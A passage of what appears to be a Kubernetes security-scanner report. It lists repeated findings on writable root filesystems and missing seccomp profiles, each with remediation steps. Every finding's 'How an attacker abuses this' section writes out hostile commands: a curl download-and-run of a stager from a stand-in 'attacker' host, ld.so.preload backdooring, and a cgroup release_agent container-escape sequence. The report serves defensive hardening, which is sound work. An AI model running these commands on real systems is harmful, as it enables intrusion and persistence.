  4. Validate: kubectl get deployment/imp-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/wildcard-app Workload 5.5
Container app has a writable root filesystem in Deployment/rbac-fixtures/wildcard-app
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/wildcard-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/generic-hostpath-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/socket-mounts-app
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in Deployment/vulnerable/socket-mounts-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/local-path-storage/local-path-provisioner Workload 5.5
Container local-path-provisioner has a writable root filesystem in Deployment/local-path-storage/local-path-provisioner
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Privilege Escalation Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/local-path-provisioner -n local-path-storage -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerlocal-path-provisioner
Show raw JSON
{
  "container": "local-path-provisioner"
}
MEDIUM Deployment/secrets-bundle/cross-ns-consumer Workload 5.5
Container pause has a writable root filesystem in Deployment/secrets-bundle/cross-ns-consumer
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Privilege Escalation Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/cross-ns-consumer -n secrets-bundle -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerpause
Show raw JSON
{
  "container": "pause"
}
MEDIUM

Container api runs without a seccomp profile in Deployment/flat-network/api

KUBE-PODSEC-SECCOMP-001 26 subjects Score 5.5
MITRE ATT&CK: T1611T1068T1548.001

Affected subjects (26)

MEDIUM Deployment/flat-network/api Workload 5.5
Container api runs without a seccomp profile in Deployment/flat-network/api
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n flat-network <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/api -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapi
Show raw JSON
{
  "container": "api"
}
MEDIUM DaemonSet/rbac-fixtures/daemon-app Workload 5.5
Container app runs without a seccomp profile in DaemonSet/rbac-fixtures/daemon-app
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Privilege Escalation Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in DaemonSet/rbac-fixtures/daemon-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n rbac-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get daemonset/daemon-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.5
Container app runs without a seccomp profile in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
